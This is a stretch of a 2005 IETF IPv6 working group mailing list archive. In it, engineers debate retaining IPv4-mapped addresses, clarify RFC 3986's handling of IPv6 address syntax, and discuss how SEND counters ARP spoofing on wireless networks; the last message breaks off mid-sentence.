ipv6@ietf.org; Wed, 02 Feb 2005 13:15:03 +0900 (KST) Received: from Radhakrishnan ([107.108.71.58]) by mmp2.samsung.com (iPlanet Messaging Server 5.2 HotFix 1.17 (built Jun 23 2003)) with ESMTPA id <0IB9009VJNT02I@mmp2.samsung.com> for ipv6@ietf.org; Wed, 02 Feb 2005 13:15:02 +0900 (KST) Date: Wed, 02 Feb 2005 09:40:21 +0530 From: Radhakrishnan Suryanarayanan To: "Bound, Jim" , Bob Hinden , IPv6 WG Message-id: <025901c508dd$1e97d9f0$3a476c6b@sisodomain.com> Organization: SAMSUNG India Software Operations MIME-version: 1.0 X-MIMEOLE: Produced By Microsoft MimeOLE V6.00.2800.1441 X-Mailer: Microsoft Outlook Express 6.00.2800.1437 Content-type: text/plain; charset=iso-8859-1 Content-transfer-encoding: 7BIT X-Priority: 3 X-MSMail-priority: Normal References: <9C422444DE99BC46B3AD3C6EAFC9711B084F9E00@tayexc13.americas.cpqcorp.net> X-Spam-Score: 0.0 (/) X-Scan-Signature: 36c793b20164cfe75332aa66ddb21196 Content-Transfer-Encoding: 7BIT Subject: Re: IPv6 Address Architecture update question X-BeenThere: ipv6@ietf.org X-Mailman-Version: 2.1.5 Precedence: list Reply-To: Radhakrishnan Suryanarayanan List-Id: "IP Version 6 Working Group \(ipv6\)" List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Sender: ipv6-bounces@ietf.org Errors-To: ipv6-bounces@ietf.org X-Spam-Score: 0.0 (/) X-Scan-Signature: b132cb3ed2d4be2017585bf6859e1ede Content-Transfer-Encoding: 7BIT I too agree with Jim's view. Leaving mapped addresses as it is the best way to go about. changing APIs usage at this stage when they are already deployed is quite difficult. ----- Original Message ----- From: "Bound, Jim" To: "Bob Hinden" ; "IPv6 WG" Sent: Tuesday, February 01, 2005 10:52 PM Subject: RE: IPv6 Address Architecture update question Folks, I strongly agree with Bob Hinden. We have been down this path before and discussion. IPv4-Mapped addresses are now used on every production implementation and in most IPv6 production IP dual stacks. They cannot be removed and the industry will not and does not support such a change. The APIs are in use now also by Application Providers porting to IPv6. There is absolutely no reason to deprecate Mapped-Addresses and such an idea is totally unacceptable for all the reasons below and also we should not alter our base specification. Regarding compatible addresses they are harmless but not being used by most implementations or deployments, 6to4 is used. But I see not point in deprecating that either. Regards, /jim > -----Original Message----- > From: ipv6-bounces@ietf.org [mailto:ipv6-bounces@ietf.org] On > Behalf Of Bob Hinden > Sent: Tuesday, February 01, 2005 7:27 AM > To: IPv6 WG > Subject: Re: IPv6 Address Architecture update question > > Hi, > > In response to my question about keeping the "IPv6 Addresses > with Embedded > IPv4 Addresses" (e.g., compatible and mapped) I heard the following: > > "I think that at least all the BSD's and most Linuxes are using this. > They allow binding on :: (IPv6 any) and also accept IPv4 > connections on the same socket, which are then represented in > netstat etc as ::ffff:1.2.3.4.", "IMO the section can be > removed and programmers need to be learned the correct thing > for which I always very inclined to point people to Eva's > excellent document at > http://gsyc.escet.urjc.es/~eva/IPv6-web/ipv6.html and/or > draft-ietf-v6ops-application-transition-02.txt" > > "They should not be removed. Implementations already support > it, removing would just create confusion. I don't see any > harm in keeping it in." > > "helps with porting applications" and "dropping this section > will create confusion and chaos for the already ported applications" > > "Among other things, this would break the just published full > Standard for URIs (RFC 3986).", "I suspect some people have used the > ::10.1.2.3 format to carry IPv4 addresses in an IPv6 > container, simply for convenience. I think this is very > convenient and should be available.", " otoh the > ::FFFF:10.1.2.3 format seems useless to me." > > "IPv4-mapped addresses facilitate an important > interoperability mechanism in the socket API (RFC 3493, > section 3.7).", "the API still needs a way to represent IPv4 > addresses in a way that preserves compatibility between IPv6 > and IPv4 hosts. Removal just makes transition all the more > time-consuming and difficult for software developers. > > "rather see clarification of the use of embedded addresses in > the document rather than complete removal. Ie. add a > statement to the effect of 'Embedded addresses are intended > for internal representation only'." > > "It is clear that the mapped addresses are widely used and > useful, and a lot of people have raised their concerns about > removing that.", "I suggest just simply removing compatibles." > > "Removal and formal deprecation would simplify life for > software developers.", "We might as well rid developers of > the burden of having to cope with mapped-address sockets as > well.", "Anyway, in summary, removal would in my opinion > actually make transition much easier for software developers, > not harder. Don't let the superficial ease of the > mapped-address API fool you :)" > > My take of this is that they should remain in the IPv6 > address architecture. There is current usage and removing > them would break other specifications. > > Thanks, > Bob > > > > > -------------------------------------------------------------------- > IETF IPv6 working group mailing list > ipv6@ietf.org > Administrative Requests: https://www1.ietf.org/mailman/listinfo/ipv6 > -------------------------------------------------------------------- > -------------------------------------------------------------------- IETF IPv6 working group mailing list ipv6@ietf.org Administrative Requests: https://www1.ietf.org/mailman/listinfo/ipv6 -------------------------------------------------------------------- -------------------------------------------------------------------- IETF IPv6 working group mailing list ipv6@ietf.org Administrative Requests: https://www1.ietf.org/mailman/listinfo/ipv6 -------------------------------------------------------------------- From ipv6-bounces@ietf.org Tue Feb 1 23:28:34 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id XAA24458 for ; Tue, 1 Feb 2005 23:28:33 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1CwCQL-0002fT-Ql for ipv6-web-archive@ietf.org; Tue, 01 Feb 2005 23:47:30 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1CwC6o-0007a7-GK; Tue, 01 Feb 2005 23:27:18 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1CwC5o-0007KA-S7 for ipv6@megatron.ietf.org; Tue, 01 Feb 2005 23:26:17 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id XAA24235 for ; Tue, 1 Feb 2005 23:26:15 -0500 (EST) Received: from zmamail03.zma.compaq.com ([161.114.64.103]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1CwCO6-0002cN-Q3 for ipv6@ietf.org; Tue, 01 Feb 2005 23:45:11 -0500 Received: from tayexg11.americas.cpqcorp.net (tayexg11.americas.cpqcorp.net [16.103.130.186]) by zmamail03.zma.compaq.com (Postfix) with ESMTP id 5818862; Tue, 1 Feb 2005 23:25:45 -0500 (EST) Received: from tayexc13.americas.cpqcorp.net ([16.103.130.26]) by tayexg11.americas.cpqcorp.net with Microsoft SMTPSVC(6.0.3790.211); Tue, 1 Feb 2005 23:25:45 -0500 X-MimeOLE: Produced By Microsoft Exchange V6.5.7226.0 Content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="US-ASCII" Content-Transfer-Encoding: quoted-printable Date: Tue, 1 Feb 2005 23:25:50 -0500 Message-ID: <9C422444DE99BC46B3AD3C6EAFC9711B084F9FD2@tayexc13.americas.cpqcorp.net> Thread-Topic: IPv6 Address Architecture update question Thread-Index: AcUI3cbjH4U+Pj9NTPu++ttgTM24zQAAELfA From: "Bound, Jim" To: "Radhakrishnan Suryanarayanan" , "Bob Hinden" , "IPv6 WG" X-OriginalArrivalTime: 02 Feb 2005 04:25:45.0218 (UTC) FILETIME=[4371AE20:01C508DF] X-Spam-Score: 0.0 (/) X-Scan-Signature: 21bf7a2f1643ae0bf20c1e010766eb78 Content-Transfer-Encoding: quoted-printable Subject: RE: IPv6 Address Architecture update question X-BeenThere: ipv6@ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "IP Version 6 Working Group \(ipv6\)" List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Sender: ipv6-bounces@ietf.org Errors-To: ipv6-bounces@ietf.org X-Spam-Score: 0.0 (/) X-Scan-Signature: 6ba8aaf827dcb437101951262f69b3de Content-Transfer-Encoding: quoted-printable I am not going to dive in here and increase my responses on this thread and eat up my limited messages I will bombard this list with ok, supporting the mail model less mail is better and keeping low on Rob's messages list each week. But, besides v4mapped being widely deployed on "vendor" "production" shipping code bases, used today by applications, I believe v4mapped is a very useful and elegant solution for application providers to provide a common binary v4+v6 solution as an option "technically" and superior to not using it. I emphatically disagree with Itojun, cmetz, et al referenced and we had this debate many years ago, then again had the debate, and that view lost and we should not revisit it again. No one has to implement a port to IPv6 or a new application with v4mapped addresses. It is merely an option that is available to a programmer and upto them and it is available on production platforms today. =20 Mark Andrews point is quite valid and that is the responsibility of each implementation to document their use of v4mapped, and out of scope for the IETF as that is an implementation manner. Whether it is useful to document various behaviors (INFO, BCP) is not clear to me that is necesary and see UNIX Network Programming Volume I Third Edition.=20 Regards, /jim > -----Original Message----- > From: Radhakrishnan Suryanarayanan [mailto:rkrishnan.s@samsung.com]=20 > Sent: Tuesday, February 01, 2005 11:10 PM > To: Bound, Jim; Bob Hinden; IPv6 WG > Subject: Re: IPv6 Address Architecture update question >=20 > I too agree with Jim's view. Leaving mapped addresses as it=20 > is the best way to go about. > changing APIs usage at this stage when they are already=20 > deployed is quite difficult. >=20 > ----- Original Message ----- > From: "Bound, Jim" > To: "Bob Hinden" ; "IPv6 WG" > Sent: Tuesday, February 01, 2005 10:52 PM > Subject: RE: IPv6 Address Architecture update question >=20 >=20 > Folks, >=20 > I strongly agree with Bob Hinden. We have been down this path before > and discussion. IPv4-Mapped addresses are now used on every=20 > production > implementation and in most IPv6 production IP dual stacks. =20 > They cannot > be removed and the industry will not and does not support=20 > such a change. > The APIs are in use now also by Application Providers porting to IPv6. > There is absolutely no reason to deprecate Mapped-Addresses=20 > and such an > idea is totally unacceptable for all the reasons below and also we > should not alter our base specification. >=20 > Regarding compatible addresses they are harmless but not being used by > most implementations or deployments, 6to4 is used. But I=20 > see not point > in deprecating that either. >=20 > Regards, > /jim >=20 > > -----Original Message----- > > From: ipv6-bounces@ietf.org [mailto:ipv6-bounces@ietf.org] On > > Behalf Of Bob Hinden > > Sent: Tuesday, February 01, 2005 7:27 AM > > To: IPv6 WG > > Subject: Re: IPv6 Address Architecture update question > > > > Hi, > > > > In response to my question about keeping the "IPv6 Addresses > > with Embedded > > IPv4 Addresses" (e.g., compatible and mapped) I heard the following: > > > > "I think that at least all the BSD's and most Linuxes are=20 > using this. > > They allow binding on :: (IPv6 any) and also accept IPv4 > > connections on the same socket, which are then represented in > > netstat etc as ::ffff:1.2.3.4.", "IMO the section can be > > removed and programmers need to be learned the correct thing > > for which I always very inclined to point people to Eva's > > excellent document at > > http://gsyc.escet.urjc.es/~eva/IPv6-web/ipv6.html and/or > > draft-ietf-v6ops-application-transition-02.txt" > > > > "They should not be removed. Implementations already support > > it, removing would just create confusion. I don't see any > > harm in keeping it in." > > > > "helps with porting applications" and "dropping this section > > will create confusion and chaos for the already ported applications" > > > > "Among other things, this would break the just published full > > Standard for URIs (RFC 3986).", "I suspect some people have used the > > ::10.1.2.3 format to carry IPv4 addresses in an IPv6 > > container, simply for convenience. I think this is very > > convenient and should be available.", " otoh the > > ::FFFF:10.1.2.3 format seems useless to me." > > > > "IPv4-mapped addresses facilitate an important > > interoperability mechanism in the socket API (RFC 3493, > > section 3.7).", "the API still needs a way to represent IPv4 > > addresses in a way that preserves compatibility between IPv6 > > and IPv4 hosts. Removal just makes transition all the more > > time-consuming and difficult for software developers. > > > > "rather see clarification of the use of embedded addresses in > > the document rather than complete removal. Ie. add a > > statement to the effect of 'Embedded addresses are intended > > for internal representation only'." > > > > "It is clear that the mapped addresses are widely used and > > useful, and a lot of people have raised their concerns about > > removing that.", "I suggest just simply removing compatibles." > > > > "Removal and formal deprecation would simplify life for > > software developers.", "We might as well rid developers of > > the burden of having to cope with mapped-address sockets as > > well.", "Anyway, in summary, removal would in my opinion > > actually make transition much easier for software developers, > > not harder. Don't let the superficial ease of the > > mapped-address API fool you :)" > > > > My take of this is that they should remain in the IPv6 > > address architecture. There is current usage and removing > > them would break other specifications. > > > > Thanks, > > Bob > > > > > > > > > > -------------------------------------------------------------------- > > IETF IPv6 working group mailing list > > ipv6@ietf.org > > Administrative Requests: https://www1.ietf.org/mailman/listinfo/ipv6 > > -------------------------------------------------------------------- > > >=20 > -------------------------------------------------------------------- > IETF IPv6 working group mailing list > ipv6@ietf.org > Administrative Requests: https://www1.ietf.org/mailman/listinfo/ipv6 > -------------------------------------------------------------------- >=20 >=20 >=20 -------------------------------------------------------------------- IETF IPv6 working group mailing list ipv6@ietf.org Administrative Requests: https://www1.ietf.org/mailman/listinfo/ipv6 -------------------------------------------------------------------- From ipv6-bounces@ietf.org Wed Feb 2 02:14:23 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id CAA21721 for ; Wed, 2 Feb 2005 02:14:23 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1CwF0q-00069X-Bs for ipv6-web-archive@ietf.org; Wed, 02 Feb 2005 02:33:20 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1CwEeL-0004Sn-JO; Wed, 02 Feb 2005 02:10:05 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1CwEaq-0003L3-3Q for ipv6@megatron.ietf.org; Wed, 02 Feb 2005 02:06:28 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id CAA13855 for ; Wed, 2 Feb 2005 02:06:26 -0500 (EST) Received: from mint.apnic.net ([202.12.29.58]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1CwEt9-0005u4-1b for ipv6@ietf.org; Wed, 02 Feb 2005 02:25:23 -0500 Received: from [202.12.29.226] (as-paul.apnic.net [202.12.29.226]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by mint.apnic.net (Postfix) with ESMTP id A074DD5F2D; Wed, 2 Feb 2005 16:58:13 +1000 (EST) Message-ID: <42007BD1.7030708@apnic.net> Date: Wed, 02 Feb 2005 17:05:53 +1000 From: Paul Wilson User-Agent: Mozilla Thunderbird 0.9 (Windows/20041103) X-Accept-Language: en-us, en MIME-Version: 1.0 To: IPv6 References: <41F75F27.6060401@zurich.ibm.com> <41F85B63.3000400@apnic.net> In-Reply-To: <41F85B63.3000400@apnic.net> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Scan-Signature: 2beba50d0fcdeee5f091c59f204d4365 Content-Transfer-Encoding: 7bit Cc: Brian E Carpenter Subject: Re: A little piece of IPv6 makes full Standard status X-BeenThere: ipv6@ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "IP Version 6 Working Group \(ipv6\)" List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Sender: ipv6-bounces@ietf.org Errors-To: ipv6-bounces@ietf.org X-Spam-Score: 0.0 (/) X-Scan-Signature: 7da5a831c477fb6ef97f379a05fb683c Content-Transfer-Encoding: 7bit Paul Wilson wrote: > It seems that sect 3.2.2 this RFC 3986 requires left padding of each > 16-bit piece of an IPv6 address with "0" > > eg 0000::/16 is allowed but 0::/16 is not > > If so, that seems incompatible with some common usages, including many > of those listed in sect 2 of RFC 2732. The authors inform me that this is not the case. The specification allows a variable number of digits in each 16-bit piece of the address. Paul Wilson APNIC > > I note that the form "::192.9.5.5" also seems to be disallowed by the > new RFC. > > Paul Wilson > APNIC > > > Brian E Carpenter wrote: > >> fyi, this includes the IPv6 address format (obsoleting RFC 2732). >> >> Brian >> >> -------- Original Message -------- >> Subject: STD 66, RFC 3986 on Uniform Resource Identifier (URI): >> Generic Syntax >> Date: Tue, 25 Jan 2005 17:32:09 -0800 >> From: rfc-editor@rfc-editor.org >> To: ietf-announce@ietf.org >> CC: rfc-editor@rfc-editor.org >> >> >> A new Request for Comments is now available in online RFC libraries. >> >> >> STD 66 >> RFC 3986 >> >> Title: Uniform Resource Identifier (URI): Generic Syntax >> Author(s): T. Berners-Lee, R. Fielding, L. Masinter >> Status: Standards Track >> Date: January 2005 >> Mailbox: timbl@w3.org, fielding@gbiv.com, LMM@acm.org >> Pages: 61 >> Characters: 141811 >> Updates: 1738 >> Obsoletes: 2732, 2396, 1808 >> >> I-D Tag: draft-fielding-uri-rfc2396bis-07.txt >> >> URL: ftp://ftp.rfc-editor.org/in-notes/rfc3986.txt >> >> >> A Uniform Resource Identifier (URI) is a compact sequence of >> characters that identifies an abstract or physical resource. This >> specification defines the generic URI syntax and a process for >> resolving URI references that might be in relative form, along with >> guidelines and security considerations for the use of URIs on the >> Internet. The URI syntax defines a grammar that is a superset of all >> valid URIs, allowing an implementation to parse the common >> components of a URI reference without knowing the scheme-specific >> requirements of every possible identifier. This specification does >> not define a generative grammar for URIs; that task is performed by >> the individual specifications of each URI scheme. >> >> This is now a Standard Protocol. >> >> This document specifies an Internet standards track protocol for the >> Internet community, and requests discussion and suggestions for >> improvements. Please refer to the current edition of the "Internet >> Official Protocol Standards" (STD 1) for the standardization state >> and status of this protocol. Distribution of this memo is unlimited. >> >> This announcement is sent to the IETF list and the RFC-DIST list. >> Requests to be added to or deleted from the IETF distribution list >> should be sent to IETF-REQUEST@IETF.ORG. Requests to be >> added to or deleted from the RFC-DIST distribution list should >> be sent to RFC-DIST-REQUEST@RFC-EDITOR.ORG. >> >> Details on obtaining RFCs via FTP or EMAIL may be obtained by sending >> an EMAIL message to rfc-info@RFC-EDITOR.ORG with the message body >> help: ways_to_get_rfcs. For example: >> >> To: rfc-info@RFC-EDITOR.ORG >> Subject: getting rfcs >> >> help: ways_to_get_rfcs >> >> Requests for special distribution should be addressed to either the >> author of the RFC in question, or to RFC-Manager@RFC-EDITOR.ORG. Unless >> specifically noted otherwise on the RFC itself, all RFCs are for >> unlimited distribution. >> >> Submissions for Requests for Comments should be sent to >> RFC-EDITOR@RFC-EDITOR.ORG. Please consult RFC 2223, Instructions to RFC >> Authors, for further information. >> >> >> Joyce K. Reynolds and Sandy Ginoza >> USC/Information Sciences Institute >> >> >> >> >> -------------------------------------------------------------------- >> IETF IPv6 working group mailing list >> ipv6@ietf.org >> Administrative Requests: https://www1.ietf.org/mailman/listinfo/ipv6 >> -------------------------------------------------------------------- > > -- ________________________________________________________________________ Paul Wilson, Director-General, APNIC http://www.apnic.net ph/fx +61 7 3858 3100/99 ------------------------------------------------------------------------ See you at APNIC-19! Kyoto, Japan, 21 to 25 Feb 2005 and APRICOT 2005 http://www.apnic.net/meetings ------------------------------------------------------------------------ ASIAN TSUNAMI & EARTHQUAKE RELIEF APPEAL see http://www.apnic.net -------------------------------------------------------------------- IETF IPv6 working group mailing list ipv6@ietf.org Administrative Requests: https://www1.ietf.org/mailman/listinfo/ipv6 -------------------------------------------------------------------- From ipv6-bounces@ietf.org Wed Feb 2 02:43:07 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id CAA10827 for ; Wed, 2 Feb 2005 02:43:07 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1CwFSe-0006rr-VN for ipv6-web-archive@ietf.org; Wed, 02 Feb 2005 03:02:05 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1CwF8n-0000AX-OM; Wed, 02 Feb 2005 02:41:33 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1CwF8D-0008OT-AT for ipv6@megatron.ietf.org; Wed, 02 Feb 2005 02:40:59 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id CAA10670 for ; Wed, 2 Feb 2005 02:40:55 -0500 (EST) Received: from mgw-x2.nokia.com ([131.228.20.22]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1CwFQX-0006oU-0K for ipv6@ietf.org; Wed, 02 Feb 2005 02:59:53 -0500 Received: from esdks002.ntc.nokia.com (esdks002.ntc.nokia.com [172.21.138.121]) by mgw-x2.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id j127erc05218; Wed, 2 Feb 2005 09:40:54 +0200 (EET) X-Scanned: Wed, 2 Feb 2005 09:38:20 +0200 Nokia Message Protector V1.3.34 2004121512 - RELEASE Received: (from root@localhost) by esdks002.ntc.nokia.com (8.12.9/8.12.9) id j127cKD7005472; Wed, 2 Feb 2005 09:38:20 +0200 Received: from mgw-int1.ntc.nokia.com (172.21.143.96) by esdks002.ntc.nokia.com 003qTHGa; Wed, 02 Feb 2005 09:38:17 EET Received: from esebh001.NOE.Nokia.com (esebh001.ntc.nokia.com [172.21.138.28]) by mgw-int1.ntc.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id j127c4U11954; Wed, 2 Feb 2005 09:38:04 +0200 (EET) Received: from l5131412.nokia.com ([172.17.194.29]) by esebh001.NOE.Nokia.com with Microsoft SMTPSVC(5.0.2195.6881); Wed, 2 Feb 2005 09:37:44 +0200 Message-Id: <6.1.2.0.2.20050201232615.03430ec0@mailhost.iprg.nokia.com> X-Sender: hinden@mailhost.iprg.nokia.com X-Mailer: QUALCOMM Windows Eudora Version 6.1.2.0 Date: Tue, 01 Feb 2005 23:37:42 -0800 To: James Kempf From: Bob Hinden In-Reply-To: <039c01c508a9$8b525090$016115ac@dcml.docomolabsusa.com> References: <039c01c508a9$8b525090$016115ac@dcml.docomolabsusa.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed X-OriginalArrivalTime: 02 Feb 2005 07:37:44.0379 (UTC) FILETIME=[156628B0:01C508FA] X-Spam-Score: 0.0 (/) X-Scan-Signature: 73734d43604d52d23b3eba644a169745 Cc: IPv6 Subject: Re: Request to Advance: [RESEND] X-BeenThere: ipv6@ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "IP Version 6 Working Group \(ipv6\)" List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Sender: ipv6-bounces@ietf.org Errors-To: ipv6-bounces@ietf.org X-Spam-Score: 0.0 (/) X-Scan-Signature: b5d20af10c334b36874c0264b10f59f1 James, >In 2002, I was sitting in the conference room at Mobicom browsing one of the >papers when my 802.11/IPv4 network connection started to act up. It would go >away, then come back, then hang for a long period of time. When I looked >into the matter more deeply, I discovered that the DHCP lease on my address >had been revoked, and my machine was attempting, unsuccessfully, to get >another one. I spoke to the NOC about it, and found out that they had only >allocated enough address space for 256 hosts, and there were well over 300 >people in the room, many of whom were knowledgable networking researchers. >Somebody was ARP spoofing, stealing addresses because not enough had been >allocated. ARP spoofing is one of the threats SEND is designed to counter, >so if IPv6/SEND had been deployed, this attack would not have been possible. For what it is worth, I would note that if you were using IPv6, this wouldn't have occurred (at least for the reasons of people trying to get around address scarcity by ARP spoofing...), because IPv6 doesn't impose any practical limit on the the number of hosts per link (due to 64 bit interface identifiers). Bob >Now, you can argue that SEND doesn't protect the MAC address itself (and in >fact, specifically doesn't claim to), it just protects the mapping, so >someone could still just send out frames with your MAC address. So it is >still possible for an attacker to spoof a MAC address, for those shared >media where a host specific MAC address appears on the air, like 802.11, and >the address is not protected (and this is a particular problem for 802.11 >because the management frames are completely unprotected). The spoofer >cannot, however, claim frames holding packets having your IP address if SEND >is used, because the mapping is protected. In the end, there is really only >so much IETF can do, and now it is up to IEEE to fix their MAC protocol so >that people can't steal addresses or spoof management frames (I'm told they >are working on it). > >In this particular case, the service was free so the fact that I was >inconvenienced by not being able to use the connection was of little >economic consequence. But if I had been using a connection to a wireless >service provider who charges for the service, the consequence may not have >been as minor. In my view (speaking from a wireless service provider >perspective), SEND is an excellent reason why a wireless service provider >whose media has characteristics similar to 802.11 might want to deploy IPv6, >provided of course that host support is available. > >The full list of threats SEND is designed to counter is outlined in the >Security Considerations section of the SEND RFC and detailed in RFC 3756; >note that these are the only threats SEND is designed to counter. In >particular, as discussed in somewhat excruciating detail on this thread and >explcitly mentioned in the SEND RFC, the address mapping part of SEND does >not claim to protect proxy ND of any sort. I spoke to Dave Thaler about this >a few IETFs ago, and I believed we agreed that it was OK for this draft, but >I've not looked at the draft since. > >However, it seems pretty clear to me that there is considerable interest in >security for proxy ND. The Mobopts IRTF research group is interested for >securing fast handover, and it would also be useful for MIP6 though the MIP6 >group is busy with other tasks at the moment so it has not hit their radar >screen yet. We had a BAR BOF for Mobopts on proxy SEND in San Diego, but >there hasn't really been much discussion about it on the Mobopts list. > >Considering the more leisurely pace work takes in IRTF, something might not >pop out of Mobopts on proxy SEND for some time. So my suggestion is, if >people think proxy SEND is a burning issue, instead of continuing to argue >about this particular draft, maybe it would be more productive to have a BOF >(if the WG chairs of the IPv6 group would rather not sponsor proxy ND >security work in the IPv6 WG) or schedule a session at the IPv6 WG meeting >(if the chairs would want to sponsor the work). I'd be happy to help >organize the BOF if one is necessary. > > jak > > >*Note that there is another part of SEND which people seem to forget, >involving router security. That should work with NDProxy, learning bridges, >and any other local subnet topology where a first hop router is involved and >the host routes all off subnet traffic through the router. > > > > >-------------------------------------------------------------------- >IETF IPv6 working group mailing list >ipv6@ietf.org >Administrative Requests: https://www1.ietf.org/mailman/listinfo/ipv6 >-------------------------------------------------------------------- -------------------------------------------------------------------- IETF IPv6 working group mailing list ipv6@ietf.org Administrative Requests: https://www1.ietf.org/mailman/listinfo/ipv6 -------------------------------------------------------------------- From ipv6-bounces@ietf.org Wed Feb 2 02:54:35 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id CAA12058 for ; Wed, 2 Feb 2005 02:54:35 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1CwFdh-00078I-84 for ipv6-web-archive@ietf.org; Wed, 02 Feb 2005 03:13:33 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1CwFGN-0001kY-4o; Wed, 02 Feb 2005 02:49:23 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1CwFDS-000160-9C for ipv6@megatron.ietf.org; Wed, 02 Feb 2005 02:46:24 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id CAA11209 for ; Wed, 2 Feb 2005 02:46:20 -0500 (EST) Received: from mail1.microsoft.com ([131.107.3.125]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1CwFVm-0006vt-1T for ipv6@ietf.org; Wed, 02 Feb 2005 03:05:18 -0500 Received: from mailout2.microsoft.com ([157.54.1.120]) by mail1.microsoft.com with Microsoft SMTPSVC(6.0.3790.1289); Tue, 1 Feb 2005 23:45:50 -0800 Received: from red-hub-03.redmond.corp.microsoft.com ([157.54.2.25]) by mailout2.microsoft.com with Microsoft SMTPSVC(6.0.3790.211); Tue, 1 Feb 2005 23:45:48 -0800 Received: from win-imc-02.wingroup.windeploy.ntdev.microsoft.com ([157.54.0.84]) by red-hub-03.redmond.corp.microsoft.com with Microsoft SMTPSVC(6.0.3790.1289); Tue, 1 Feb 2005 23:45:48 -0800 Received: from WIN-MSG-10.wingroup.windeploy.ntdev.microsoft.com ([157.54.12.81]) by win-imc-02.wingroup.windeploy.ntdev.microsoft.com with Microsoft SMTPSVC(6.0.3790.1289); Tue, 1 Feb 2005 23:45:48 -0800 X-MimeOLE: Produced By Microsoft Exchange V6.5.7226.0 Content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable Date: Tue, 1 Feb 2005 23:45:46 -0800 Message-ID: Thread-Topic: Request to Advance: [RESEND] Thread-Index: AcUIqXPEBA5Mbk19RhWWfATNJYZpAgAUJ8HA From: "Christian Huitema" To: "James Kempf" , "Erik Nordmark" , "Dave Thaler" X-OriginalArrivalTime: 02 Feb 2005 07:45:48.0067 (UTC) FILETIME=[35B31730:01C508FB] X-Spam-Score: 0.0 (/) X-Scan-Signature: 8abaac9e10c826e8252866cbe6766464 Content-Transfer-Encoding: quoted-printable Cc: Thomas Narten , Margaret Wasserman , Brian Haberman , Brian E Carpenter , IPv6 Subject: RE: Request to Advance: [RESEND] X-BeenThere: ipv6@ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "IP Version 6 Working Group \(ipv6\)" List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Sender: ipv6-bounces@ietf.org Errors-To: ipv6-bounces@ietf.org X-Spam-Score: 0.0 (/) X-Scan-Signature: 69a74e02bbee44ab4f8eafdbcedd94a1 Content-Transfer-Encoding: quoted-printable > ... I spoke to the NOC about it, and found out that they had only > allocated enough address space for 256 hosts, and there were well over 300 > people in the room, many of whom were knowledgable networking researchers. > Somebody was ARP spoofing, stealing addresses because not enough had been > allocated. ARP spoofing is one of the threats SEND is designed to counter, > so if IPv6/SEND had been deployed, this attack would not have been > possible. If IPv6 had been deployed, the router would have announced a /64, and there would have been addresses available for everybody... > ... (and this is a particular problem for 802.11 > because the management frames are completely unprotected). The spoofer > cannot, however, claim frames holding packets having your IP address if > SEND > is used, because the mapping is protected.=20 The mapping is protected but, unless the network implements 802.1X and negotiates different keys for each station, the attacker has no difficulty getting a copy of your packets, or sending packets from a spoofed MAC address. Don't get me wrong, I like SEND. My point was just that if we allow "transparent" bridges at 